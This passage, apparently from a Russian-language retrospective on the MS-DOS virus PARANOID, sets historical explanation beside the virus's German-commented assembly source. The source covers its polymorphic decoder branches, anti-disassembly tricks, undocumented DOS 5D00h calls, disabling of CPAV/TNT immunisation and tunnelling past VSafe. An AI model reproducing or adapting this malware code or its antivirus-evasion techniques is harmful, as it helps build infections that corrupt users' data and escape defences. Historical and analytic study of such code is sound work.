MOV SI,PUMP_SIZE ;Text-länge in <SI>
EVIL: LOOP BOESE ;Puffer voll machen!
JMP END21POP ;...und zur Dose!
INCLUDE PUMPVOLL.XOR ;PUMP_TEXT & PUMP_SIZE !!!
ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
...
Если все критерии срабатывания выполнены, данные, которые намеревался записать пользователь, подменялись данными вируса. Вирус манипулировал буфером и записывал в него примерно следующее:
Paranoid ([c] PRIEST V.D.G.I.) likes your delicious data !!!
Полиморфный декодер
Вирус избегал обнаружения, предотвращая появление однозначных сигнатур, которые могли бы выявить его присутствие в заражённых программах. Для этого он прятал себя и запутывал алгоритм декодирования перед заражением выбранного хоста. Библиотека CODER.INC
содержала необходимый для этого код, являющийся полиморфным декодером (активируется ключом MIT_CODER
).
Алгоритм дешифрования состоял из нескольких сегментов, в каждом из которых было несколько взаимозаменяемых кодовых блоков. Каждый раз, когда вирус заражал хост, алгоритм декодирования скремблировался путём случайного выбора одного из альтернативных кодовых блоков для каждого сегмента и инициализации его случайным декодирующим сэмплом (который также использовался для кодирования двоичных данных вируса, добавляемых в хост).
Благодаря такому методу шифрования кода, алгоритм декодирования и закодированные двоичные данные вируса всегда «выглядели» по‑разному, что усложняло выявление однозначной сигнатуры. Из‑за сегментации алгоритма и альтернативных реализаций для каждого сегмента дешифратор назвали полиморфным.
Поставщики антивирусного ПО обычно извлекают уникальные сигнатуры из вирусов и хранят их в базах данных вирусных сигнатур. Каждая сигнатура идентифицирует вирус, что позволяет антивирусам обнаруживать заражённые программы при сканировании компьютера с использованием сигнатур из своей базы данных и удалять вирус с хоста.
Алгоритм декодирования был разбит на сегменты от 1 до 9, причём каждый сегмент имел пять реализаций (от A до E). Эти сегменты были полностью взаимозаменяемы, а значит, сегмент 5 реализации A (A5) можно было заменить сегментом 5 любой другой реализации (B5, C5, D5 или E5), сохраняя при этом корректную работу алгоритма. Это гарантировало, что алгоритм функционировал одинаково независимо от того, какая реализация использовалась для каждого сегмента при шифровании алгоритма перед заражением нового хоста.
С пятью альтернативами для каждого из девяти сегментов полиморфный декодер мог быть представлен в 45 различных формах, каждая из которых имела свою «сигнатуру». Добавление большего количества реализаций ещё больше увеличивало возможные вариации.
...
;------------------------------------------------------------------------------
; Die verschiedenen Zweige sind in Module zusammengefasst, die von Zweig zu
; Zweig beliebig durch korrespondierende Module ausgetauscht werden können. So
; kann z.B. Modul A2 durch Modul C2 ausgetauscht werden, da die korrespondier-
; enden Module funktionskompatibel zueinander sind. Modul A2 fängt beim Label
; A2 an und hört vor dem Label A3 auf usw.
;------------------------------------------------------------------------------
;==============================================================================
; ZWEIG_A:
;------------------------------------------------------------------------------
; FUNKTION: 1. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_A: MOV AX,0 ;<BP> <-- OFS_VERSCHIEBUNG re-
XCHG AX,BP ;lativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
A1: IFDIFI <CSTART>,<0> ;<DI> <-- Start-OFS des zu
MOV SI,OFFSET CSTART ;verschlüsselnden Blocks
ELSE
XOR SI,SI
ENDIF
ADD SI,BP
XCHG DI,SI
;──────────────────────────────────────────────────────────────────────────────
A2: MOV BX,BP ;<AX> <-- START_CRYPT_KEY
ADD BX,OFFSET KEY_OFS
MOV AX,WORD PTR KEY_SEG:[BX]
;──────────────────────────────────────────────────────────────────────────────
A3: ADD AL,7 ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
A4: MOV BX,AX ;Block verschlüsseln (a)
MOV SI,DI
ADD BX,AX
XOR CSEG:[SI],BX
;──────────────────────────────────────────────────────────────────────────────
A5: SUB AH,7 ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
A6: MOV CL,BYTE PTR CSEG:[DI] ;Block verschlüsseln (b)
XOR CL,AH
MOV BYTE PTR CSEG:[DI],CL
;──────────────────────────────────────────────────────────────────────────────
A7: ADD DI,1 ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
A8: MOV DX,DI ;CRYPT_OFS > CENDE ?
LEA BX,CENDE[BP] ;JMP --> x3
CMP DX,BX
JBE A3
;──────────────────────────────────────────────────────────────────────────────
A9: JMP BP ;JMP --> Virus-CODE
;──────────────────────────────────────────────────────────────────────────────
A10 EQU $
...
ZWEIG_B, ZWEIG_C and ZWEIG_D
...
;==============================================================================
; ZWEIG_B:
;------------------------------------------------------------------------------
; FUNKTION: 2. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_B: MOV BP,0 ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
B1: MOV DI,BP ;<DI> <-- Start-OFS des zu
IFDIFI <CSTART>,<0> ;verschlüsselnden Blocks
ADD DI,OFFSET CSTART
ENDIF
;──────────────────────────────────────────────────────────────────────────────
B2: MOV AX,KEY_SEG:[OFFSET KEY_OFS+BP] ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
B3: INC AL ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
B4: XCHG BP,DI ;Block verschlüsseln (a)
XOR CSEG:[BP],AX
XCHG DI,BP
;──────────────────────────────────────────────────────────────────────────────
B5: DEC AH ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
B6: MOV DH,AH ;Block verschlüsseln (b)
MOV SI,DI
XOR BYTE PTR CSEG:[SI],DH
;──────────────────────────────────────────────────────────────────────────────
B7: INC DI ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
B8: MOV DX,BP ;CRYPT_OFS > CENDE ?
MOV CX,DI ;JMP --> x3
ADD DX,OFFSET CENDE
CMP DX,CX
JA B3
;──────────────────────────────────────────────────────────────────────────────
B9: XCHG SI,BP ;JMP --> Virus-CODE
MOV BP,SI
JMP SI
;──────────────────────────────────────────────────────────────────────────────
B10 EQU $
;==============================================================================
; ZWEIG_C:
;------------------------------------------------------------------------------
; FUNKTION: 3. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_C: MOV SI,0 ;<BP> <-- OFS_VERSCHIEBUNG rel-
MOV BP,SI ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
C1: LEA DI,CSTART[BP] ;<DI> <-- Start-OFS des zu
;──────────────────────────────────────────────────────────────────────────────
C2: LES AX,DWORD PTR KEY_SEG:[OFFSET KEY_OFS+BP] ;<AX> <-- START_CRYPT_KEY
;──────────────────────────────────────────────────────────────────────────────
C3: ROR AL,1 ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
C4: XOR CSEG:[DI],AX ;Block verschlüsseln (a)
;──────────────────────────────────────────────────────────────────────────────
C5: ROL AH,1 ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
C6: XCHG DI,BX ;Block verschlüsseln (b)
XOR BYTE PTR CSEG:[BX],AL
MOV DI,BX
;──────────────────────────────────────────────────────────────────────────────
C7: ADD DI,010FFH ;CRYPT_OFS = CRYPT_OFS + 1
ADD DI,0EF02H
;──────────────────────────────────────────────────────────────────────────────
C8: MOV CX,BP ;CRYPT_OFS > CENDE ?
MOV BX,DI ;JMP --> x3
SUB BX,OFFSET CENDE+1
CMP BX,CX
JNZ C3
;──────────────────────────────────────────────────────────────────────────────
C9: MOV AX,BP ;JMP --> Virus-CODE
JMP AX
;──────────────────────────────────────────────────────────────────────────────
C10 EQU $
;==============================================================================
; ZWEIG_D: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-HOST !!!)
;------------------------------------------------------------------------------
; FUNKTION: 4. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_D: SUB BX,BX ;<BP> <-- OFS_VERSCHIEBUNG rel-
XCHG BX,BP ;ativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
D1: XOR DI,DI ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
D2: LEA SI,KEY_OFS[BP] ;<AX> <-- START_CRYPT_KEY
MOV AX,KEY_SEG:[SI]
;──────────────────────────────────────────────────────────────────────────────
D3: INC AL ;START_CRYPT_KEY verändern (1)
XOR AL,AH
;──────────────────────────────────────────────────────────────────────────────
D4: MOV BX,DI ;Block verschlüsseln (a)
XOR WORD PTR CSEG:[BX],AX
;──────────────────────────────────────────────────────────────────────────────
D5: INC AH ;START_CRYPT_KEY verändern (2)
XOR AH,AL
;──────────────────────────────────────────────────────────────────────────────
D6: MOV BP,DI ;Block verschlüsseln (b)
XOR BYTE PTR CSEG:[BP],AH
SUB BP,BP
;──────────────────────────────────────────────────────────────────────────────
D7: SUB DI,0FFFFH ;CRYPT_OFS = CRYPT_OFS + 1
;──────────────────────────────────────────────────────────────────────────────
D8: MOV BX,DI ;CRYPT_OFS > CENDE ?
CMP BX,OFFSET CENDE ;JMP --> x3
JA D9
JMP D3
;──────────────────────────────────────────────────────────────────────────────
D9: SUB DI,DI ;JMP --> Virus-CODE
JMP DI
;──────────────────────────────────────────────────────────────────────────────
D10 EQU $
...
...
;==============================================================================
; ZWEIG_E: (Nur bei einem VIRUS_OFS von 0 !!! --> EXE-Host !!!)
;------------------------------------------------------------------------------
; FUNKTION: 5. Alternative für die Verschlüsselungsroutine.
;==============================================================================
ZWEIG_E: XOR BP,BP ;<BP> <-- OFS_VERSCHIEBUNG relativ zum OFS 0
;──────────────────────────────────────────────────────────────────────────────
E1: MOV DI,OFFSET CSTART ;<DI> <-- Start-OFS des zu verschlüsselnden Blocks
;──────────────────────────────────────────────────────────────────────────────
E2: XOR AX,AX ;<AX> <-- START_CRYPT_KEY
ADD AX,KEY_SEG:[KEY_OFS]
;──────────────────────────────────────────────────────────────────────────────
E3: ADD AL,AH ;START_CRYPT_KEY verändern (1)
;──────────────────────────────────────────────────────────────────────────────
E4: MOV SI,DI ;Block verschlüsseln (a)
MOV CX,CSEG:[DI]
XOR CX,AX
XCHG CSEG:[SI],CX
;──────────────────────────────────────────────────────────────────────────────
E5: ADD AH,AL ;START_CRYPT_KEY verändern (2)
;──────────────────────────────────────────────────────────────────────────────
E6: MOV BH,AH ;Block verschlüsseln (b)
MOV BP,DI
XOR BYTE PTR CSEG:[BP],BH
XOR BP,BP
;──────────────────────────────────────────────────────────────────────────────
E7: ADD DI,998DH ;CRYPT_OFS = CRYPT_OFS + 1
ADD DI,6674H
;──────────────────────────────────────────────────────────────────────────────
E8: XCHG DX,DI ;CRYPT_OFS > CENDE ?
CMP DX,OFFSET CENDE ;JMP --> x3
MOV DI,DX
JBE E3
;──────────────────────────────────────────────────────────────────────────────
E9: MOV DX,0 ;JMP --> Virus-CODE
JMP DX
;──────────────────────────────────────────────────────────────────────────────
E10 EQU $
...
В коде вируса и алгоритме декодирования не использовались жестко закодированные семплы, которые привели бы к появлению уникальных сигнатур. Вместо этого кодирование выполнялось со случайными исходными данными, которые исправляли каждый вновь созданный вариант алгоритма декодирования.
Поскольку сам вирусный код был спрятан с помощью этого исправленного случайного начального кода перед добавлением в основную программу, а декодер, добавленный к вирусному коду, менял его внешний вид, было маловероятно, что поставщики антивирусов смогут извлечь уникальную сигнатуру для своего программного обеспечения, чтобы обнаружить заражённые файлы.
Методы сокрытия вируса
Применяя дополнительные стратегии скрытности, PARANOID стремился избежать обнаружения и анализа. Для этого использовалось включение фиктивного кода для прерывания дизассемблирования (HIDE_CODE
), добавление вводящего в заблуждение кода для сбивания с толку отладчиков (STREU_DUMMY
), включение ловушки отладчика для удаления жёсткого диска после анализа (KEIN_DEBUG
) или использование необычных вызовов функций MS‑DOS для сокрытия активности вируса (DOS_VIA_5D00
).
Исполняемые бинарники, а также вирусный код, внедрённый в заражённые хосты, можно дизассемблировать, то есть превратить в понятный человеку код. Для MS‑DOS и набора инструкций процессора x86 лучшим инструментом среди дизассемблеров стал Sourcer. Чтобы предотвратить изучение своего кода, разработчики вируса намеренно путали дизассемблер.
HIDE_CODE
, если он был активирован, рассеивал код вируса на обфусцирующий код и фиктивные байты, заставляя дизассемблер Sourcer испытывать трудности с интерпретацией последующих байтов в качестве действительных инструкций машинного кода. В результате Sourcer выдавал либо неверные инструкции ассемблера, либо просто определения значений байтов.
...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IF HIDE_CODE
JMP WORD PTR CS:[ZIEL_WORD+BP] ;--> HIDE_VIR_JMP
DB 80H
HIDE_VIRJMP EQU $ ;<-- Hierhin !!!
ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...
Этот фрагмент кода является частью стратегии обфускации, призванной запутать дизассемблеры и отладчики. При непрямом переходе пропускается фиктивный байт (0x80
), в результате чего дизассемблеры, такие как Sources, неверно интерпретируют этот байт как начало новой инструкции. Это неверное толкование приводит к неправильному дизассемблированию последующего кода, что фактически затрудняет процесс дизассемблирования.
Другой такой фрагмент активно маскирует использование малоизвестной (недокументированной) сетевой функции MS-DOS 5D00h (используя ещё одну скрытую стратегию для сокрытия существования вируса):
...
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
; MOV AX,5D00H vor dem SR verstecken:
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IF HIDE_CODE ;[ZIEL_WORD] zeigt auf den
JMP WORD PTR CS:[ZIEL_WORD] ;OFS von MOV_AX_5D00 !!!
DB 02EH ;SR täuschen !!!
MOV_AX_5D00 EQU $ ;Hier gehts weiter -->
ENDIF
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
MOV AX,5D00H ;DOS-NETZWERK-FUNKTION
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
...
Как и часть функциональности HIDE_CODE
, этот фрагмент предназначен для сокрытия использования недокументированной сетевой функции MS-DOS 5D00h. Он скрывает инструкцию MOV AX,5D00h
(обозначающую сетевую функцию INT 21h), используя комбинацию непрямого перехода и фиктивного байта 02EH
, который обманывает дизассемблер, заставляя его интерпретировать 02EH
как начало следующей инструкции, тем самым препятствуя корректному дизассемблированию.
Использование малоизвестных сетевых процедур MS-DOS
Передовые антивирусные программы использовали технику TSR для защиты компьютеров, отслеживая и анализируя вызовы подпрограмм INT 21h, сообщая и блокируя любую подозрительную активность.
Исследуя более-менее популярные BBS, школьники-программисты нашли документы, в которых подробно описывалась функциональность MS-DOS, доступная с помощью малоизвестных сетевых подпрограмм. Чтобы избежать обнаружения активным антивирусным ПО, ребята решили опционально использовать эти сетевые процедуры для локальных вызовов MS-DOS (DOS_VIA_5D00
). Этот подход, как они убедились, позволял PARANOID оставаться незамеченным для антивирусных программ того времени.
...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ GODOS: │
;│----------------------------------------------------------------------------│
;│ GODOS: Direkter Aufruf von INT 21H │
;└────────────────────────────────────────────────────────────────────────────┘
GODOS PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
; Aufruf aller DOS-Funktionen über die Funktion AX=5D00h/INT 21h:
;??????????????????????????????????????????????????????????????????????????????
IF DOS_VIA_5D00
...
MOV WORD PTR CS:[R_AX],AX ;DPL Regs eintragen -->
MOV WORD PTR CS:[R_BX],BX ;
MOV WORD PTR CS:[R_CX],CX ;
MOV WORD PTR CS:[R_DX],DX ;
MOV WORD PTR CS:[R_SI],SI ;
MOV WORD PTR CS:[R_DI],DI ;
MOV WORD PTR CS:[R_DS],DS ;
MOV WORD PTR CS:[R_ES],ES ;<-- DPL Regs eingetragen
MOV AX,CS ;OWNER-PSP mit dem Virus <CS>
MOV WORD PTR CS:[PROG_SEG],AX ;angeben
MOV DS,AX ;<DS:DX> --> Adresse der für
MOV DX,OFFSET DPL ;AX=5D00h benötigten DPL
...
MOV AX,5D00H ;DOS-NETZWERK-FUNKTION
...
CMP CS:[R_AH],04CH ;Programm Beenden?
JNZ CALL_DOS ;NEIN --> CALL_DOS
MOV BYTE PTR CS:[EXIT_5D00],0 ;JA --> Flag zurücksetzen
JMP DWORD PTR CS:[ALT21] ;INT 21 wie der Host aufrufen
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
;??????????????????????????????????????????????????????????????????????????????
CALL_DOS EQU $
;??????????????????????????????????????????????????????????????????????????????
ENDIF
;??????????????????????????????????????????????????????????????????????????????
PUSHF ;INT simulieren
CALL DWORD PTR CS:[ALT21] ;INT 21H direkt aufrufen.
RET ;Zurück !
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
GODOS ENDP
...
Доступ к обычным подпрограммам MS-DOS INT 21h также можно было получить с помощью недокументированной (и, следовательно, неконтролируемой) сетевой функции INT 21h 5D00h, вместе с блоком памяти, описывающим вызов обычной функции MS-DOS. Для этого необходимо было подготовить блок памяти, известный как список параметров устройства (Device Parameter List, DPL), который описывал вызов MS-DOS на основе значений регистров процессора требуемого обычного вызова. Затем DPL конфигурировался с необходимыми значениями регистра процессора (теперь представленных DPL) перед вызовом INT 21h.
Выделив вызов MS-DOS для INT 21h в специальную процедуру, переключатель DOS_VIA_5D00 определял, будет ли PARANOID вызывать INT 21h напрямую или воспользуется обходной сетевой функцией 5D00h.
Перехитрить антивирусы
Антивирусное программное обеспечение, такое как TNT-Antivirus (TNT), Central Point Anti-Virus (CPAV) и Microsoft Anti‑Virus (MSAV) — урезанная версия CPAV, вскоре научились выявлять такие хитрости и очень своеобразно бороться с вирусами. Это ПО как бы вакцинировало исполняемые файлы, «заражая» их механизмом защиты от вирусов. Добавленный «код иммунизации» проверял целостность исполняемых файлов и предпринимал действия, если целостность была скомпрометирована.
Каждый раз, когда программа запускалась с этого момента, код иммунизации сравнивал сохранённую контрольную сумму с заново рассчитанной, предупреждая пользователя, если были обнаружены какие‑либо изменения. Подобно заражающему файлы вирусу, код иммунизации брал программу под свой контроль, но предотвращал вред вместо того, чтобы причинять его.
Юные вирусописатели проанализировали код иммунизации антивирусов и обнаружили сигнатуру в последних пяти байтах, читающую MsDos в ASCII. Поскольку код иммунизации был добавлен к программе, последние пять байт иммунизированной программы также заканчивались этой сигнатурой. Они воспользовались этим открытием, запрограммировав вирус на обнаружение и нейтрализацию такого кода иммунизации.
...
;??????????????????????????????????????????????????????????????????????????????
; Testen ob mit CPAV/TNT geeimpft wurde:
;??????????????????????????????????????????????????????????????????????????????
IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Die Kennung einer TNT/CPAV-Impfung am Ende eines Programms ist "MsDos", somit
;sind die letzten 2 Bytes "os". Auf diese Bytes (IMPF_ID s. EQU.INC) wird ge-
;testet und das Flag IMPF_FLAG dementsprechend gesetzt.
;??????????????????????????????????????????????????????????????????????????????
MOV BYTE PTR CS:[IMPF_FLAG],0 ;IMMUN-Flag löschen
CMP WORD PTR CS:[PUFFER],"so" ;Immunisiert..? (MsD"os" --> WORD: "so" !!!)
JNZ CPAV_END ;NEIN --> CPAV_END
MOV BYTE PTR CS:[IMPF_FLAG],1 ;JA --> IMPF_FLAG auf 1 setzen
;??????????????????????????????????????????????????????????????????????????????
CPAV_END EQU $ ;--> WEITER
;??????????????????????????????????????????????????????????????????????????????
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...
Вирус проверял, была ли программа «иммунизирована» антивирусными программами типа CPAV или TNT, выискивая специфическую сигнатуру иммунизации в конце каждой потенциальной программы‑хоста. Если такая сигнатура находилась, PARANOID устанавливал флаг IMPF_FLAG
, указывающий на то, что программа иммунизирована. Этот флаг впоследствии использовался для запуска нейтрализации кода иммунизации.
При обнаружении иммунизированной программы вирус был запрограммирован на определение точки входа иммунизирующего кода и возврат к исходной точке входа программы (той, к которой обращались в случае, если иммунизирующий код не обнаружил подозрительных изменений). Получив эту информацию, вирус после заражения модифицировал программу‑хост, чтобы обойти код иммунизации.
...
;??????????????????????????????????????????????????????????????????????????????
; CPAV/TNT-Impfung aufheben:
;??????????????????????????????????????????????????????????????????????????????
IF IMPF2INFIZ
;??????????????????????????????????????????????????????????????????????????????
;Wenn immunisiert wurde, dann wird der Ausprungpunkt im Immunisierten File
;gesucht und dort ein JMP auf das beenden des IMPF-Progs gesetzt:
;??????????????????????????????????????????????????????????????????????????????
SUCH_AB EQU 172H ;Ab SUCH_AB enderelativ suchen
;??????????????????????????????????????????????????????????????????????????????
CMP BYTE PTR CS:[OFFSET IMPF_FLAG],0 ;Immunisiert?
JZ F_END_IMPF ;NEIN --> END_IMPF
DOS_FSEEK BX,02H,0FFFFH,(-SUCH_AB) ;FPtr enderelativ.
DOS_FREAD BX,20H,DS,<OFFSET BUFFER> ;TNT-Bytes lesen.
IMUN_TST: MOV SI,CX ;Zu lesender BYTEs
DEC SI ;NULL als Zahl!
CMP WORD PTR CS:[OFFSET BUFFER+SI],09B4H ;Target gefunden?
JZ BREAK_IT ;JA --> BREAK_IT
LOOP IMUN_TST ;NEIN --> IMUN_TST
F_END_IMPF: JMP END_IMPF ;NIX...INF_CONT!
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
BREAK_IT: MOV DX,SUCH_AB ;LO-WORD des FPtr
SUB DX,SI ;Ziel-Pos abziehen
NEG DX ;FilePtr rückwärts!
DOS_FSEEK BX,02H,0FFFFH,DX ;FPtr enderelativ
DOS_FWRITE BX,2,DS,<OFFSET ANTI_IMPF> ;Sprung setzen!
;??????????????????????????????????????????????????????????????????????????????
END_IMPF EQU $
;??????????????????????????????????????????????????????????????????????????????
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...
В случае установки флага IMPF_FLAG
вирус вычислял точку входа кода иммунизации, а затем модифицировал программу так, чтобы перепрыгнуть (обойти) свой собственный код иммунизации, эффективно деактивируя механизм защиты. Использование фиктивных байтов (DB 80H) позволяло запутать дизассемблеры и отладчики.
Программное обеспечение VSafe TSR, часть антивирусного пакета CPAV, подключалось к вызовам функций MS-DOS и оставалось резидентным в памяти для отслеживания подозрительной активности, предупреждая пользователя и предоставляя средства для прерывания таких операций при обнаружении.
Чтобы избежать обнаружения VSafe TSR, школьники снабдили PARANOID переключателем SAFE_EXIT
. Когда он был включен, вирус обманывал перехватчики VSafe TSR, контролирующие INT 21h и INT 13h, отслеживая их вызовы путём перехвата INT 01h.
Настройка обработчика INT 01h и включение флага трассировки процессора позволяли вирусу выполнять пошагово каждую следующую инструкцию, после чего он получал полный контроль над операциями CPU.
...
;??????????????????????????????????????????????????????????????????????????????
; VSAFEs INT 13H/21H-Überwachung auszuschalten:
; Vorsicht: Wenn mit SURIV der Virus abgewehrt wurde, aber VSAFE entdeckt wird,
; dann wird diese Routine ins leere tracen, da der INT 01 Handler durch den
; abwesenden Virus auch nicht im Speicher ist !!!
;??????????????????????????????????????????????????????????????????????????????
IF VSAFE_EXIT
;??????????????????????????????????????????????????????????????????????????????
; Testen, ob VSAFE schon resident ist:
;??????????????????????????????????????????????????????????????????????????????
VSAFE_TEST: MOV AX,0FA00H ;VSAFE_INST_TEST (FA01H --> VSAFE_REMOVE!)
MOV DX,5945H ;VSAFE_ID_WORD
INT 21H ;VSAFE_TEST_INT (INTs 13h, 16h & 21h möglich)
CMP DI,4559H ;VSAFE_IN_MEMORY ?
JNZ NO_VSAFE ;NEIN --> NO_VSAFE
;??????????????????????????????????????????????????????????????????????????????
; Neuen INT 01-Handler:
;??????????????????????????????????????????????????????????????????????????????
MOV CX,ES ;MEM_BLOCK_SEG --> <CX>
DOS_GETINT 01,ES,BX ;Trace-INT-Vector ermitteln
PUSH ES ;SEG --> STACK
PUSH BX ;OFS --> STACK
MOV ES,CX ;<ES> <-- MEM_BLOCK_SEG
XOR AX,AX ;<DS> auf INT_VECT_SEG
MOV DS,AX ;INT-Vects ändern
MOV DS:[1*4],OFFSET NEU01 ;TRACE_INT_OFS auf NEU01
MOV DS:[1*4+2],ES ;TRACE_INT_SEG auf <ES>
;??????????????????????????????????????????????????????????????????????????????
; TF setzen:
;??????????????????????????????????????????????????????????????????????????????
PUSHF ;Flags auf den Stack
POP AX ;--> in <AX>
OR AX,100H ;TF setzen
PUSH AX ;<AX> auf den Stack
POPF ;INT 01 aktiv...
;??????????????????????????????????????????????????????????????????????????????
; INTs tracen:
;??????????????????????????????????????????????????????????????????????????????
XOR AX,AX ;<DS> auf die INT-Vect-Tabelle setzen
MOV DS,AX ;(für den call!)
MOV ES:[VSAFE_FLAG],0 ;VSAFE noch nicht gefunden!
MOV ES:[VSAFE_SEG],0 ;VSAFE_SEG & OFS noch nicht ermittelt!
MOV AH,1 ;SYSTEM_DISK_STATUS
MOV DL,80H ;HD_1
PUSHF
CALL DWORD PTR DS:[13H*4] ;INT 13H direct callen
MOV ES:[VSAFE_FLAG],0 ;VSAFE noch nicht gefunden!
MOV ES:[VSAFE_SEG],0 ;VSAFE_SEG & OFS noch nicht ermittelt!
MOV AH,30H ;DOS_Version
PUSHF
CALL DWORD PTR DS:[21H*4] ;INT 21H direct callen
;??????????????????????????????????????????????????????????????????????????????
; TF zurücksetzen:
;??????????????????????????????????????????????????????????????????????????????
PUSHF ;FLAGS auf sen Stack
POP AX ;in <AX>
AND AX,0FEFFH ;TF zurücksetzen
PUSH AX ;auf den Stack
POPF ;in die Flags, TF auf null!
;??????????????????????????????????????????????????????????????????????????????
; Vects restaurieren:
;??????????????????????????????????????????????????????????????????????????????
XOR AX,AX ;<DS> auf INT_VECT_SEG
MOV DS,AX ;INT-Vects ändern
POP AX ;INT01_OFS --> <AX>
MOV WORD PTR DS:[1*4],AX ;ORIG_OFS --> INT01_VECTOR
POP AX ;INT01_SEG --> <AX>
MOV WORD PTR DS:[1*4+2],AX ;ORIG_SEG --> INT01_VECTOR
;??????????????????????????????????????????????????????????????????????????????
NO_VSAFE: CMP BYTE PTR CS:[RES_FLAG+BP],1 ;EXITUS schon resident im Speicher?
JE ENDE ;JA --> ENDE
ENDIF
;??????????????????????????????????????????????????????????????????????????????
...
После перехвата INT 01h и включения Trace Flag вирус запускал такие немодифицирующие функции, как определение версии MS‑DOS, GET DOS VERSION
с помощью INT 21h (функция 30h) и проверка статуса системного диска, Get Disk System Status
, с помощью INT 13h (функция 01h). Это позволяло ему анализировать потоки выполнения INT 21h и INT 13h с помощью специального обработчика INT 01h. После завершения анализа вирус восстанавливал исходное состояние INT 01h и Trace Flag.
Вирусный обработчик INT 01h выполнял работу по нейтрализации VSafe TSR, анализируя процесс выполнения с помощью ранее вызванных функций INT 21h и INT 13h. Отслеживая эти вызовы при активном VSafe TSR, обработчик получал представление о том, как отключить VSafe TSR.
...
;┌────────────────────────────────────────────────────────────────────────────┐
;│ NEU01: │
;│----------------------------------------------------------------------------│
;│ VSAFEs INT 21h-Überwachung durch tunneln übergehen. │
;└────────────────────────────────────────────────────────────────────────────┘
;??????????????????????????????????????????????????????????????????????????????
IF VSAFE_EXIT
NEU01 PROC NEAR
;??????????????????????????????????????????????????????????????????????????????
PUSH BP ;<BP> merken
MOV BP,SP ;<SP> in <BP> merken
PUSH AX ;Register merken
PUSH BX ; " "
PUSH CX ; " "
PUSH SI ; " "
PUSH DS ; " "
PUSHF ; " "
;??????????????????????????????????????????????????????????????????????????????
MOV DS,SS:[BP+4] ;SEG
MOV BX,SS:[BP+2] ;OFS
MOV AX,DS ;<AX> <-- <DS>
CMP BYTE PTR CS:[VSAFE_FLAG],1 ;1: Suchen 2: Setzen
JB VSAFE_SUCH ;1 --> SUCHEN
JA END01 ;3 --> END01
;??????????????????????????????????????????????????????????????????????????????
CMP WORD PTR CS:[VSAFE_SEG],AX ;Nich im selben SEG?
JNE END01 ;NEE --> END01
CMP WORD PTR DS:[BX],0FF2EH ;Relativer FAR_JMP?
JNE END01 ;NEIN --> END01
CMP BYTE PTR DS:[BX+2],02EH ;Relativer FAR_JMP?
JNE END01 ;NEIN --> END01
;??????????????????????????????????????????????????????????????????????????????
MOV SI,WORD PTR CS:[VSAFE_OFS] ;START_OFS von VSAFE
MOV BX,WORD PTR DS:[BX+3] ;[JMP_ZIEL_ADR] --> <BX>
MOV CX,WORD PTR DS:[BX+2] ;JMP_ZIEL_SEG --> <AX>
CMP CX,AX ;JMP_ZIEL_SEG=VSAFE_SEG?
JE END01 ;JA --> END01
MOV WORD PTR DS:[SI+3],CX ;SEG vom DIRECT_FAR_JMP setzen
MOV CX,WORD PTR DS:[BX] ;JMP_ZIEL_OFS --> <AX>
MOV WORD PTR DS:[SI+1],CX ;OFS vom DIRECT_FAR_JMP setzen
MOV BYTE PTR DS:[SI],0EAH ;DIRECT_FAR_JMP
MOV BYTE PTR CS:[VSAFE_FLAG],3 ;Alles erledigt!
JMP END01 ;END01
IF STREU_DUMMY ;-->
DB 80H ;Falsche Befehle !!! (nur TD)
ENDIF ;<--
;??????????????????????????????????????????????????????????????????????????????
VSAFE_SUCH: CMP WORD PTR CS:[VSAFE_SEG],AX ;SEG_ÄNDERUNG im Code ?
JE SUCH_SEG ;NEIN --> SUCH_SEG
MOV WORD PTR CS:[VSAFE_OFS],BX ;ZIEL_OFS neu setzen
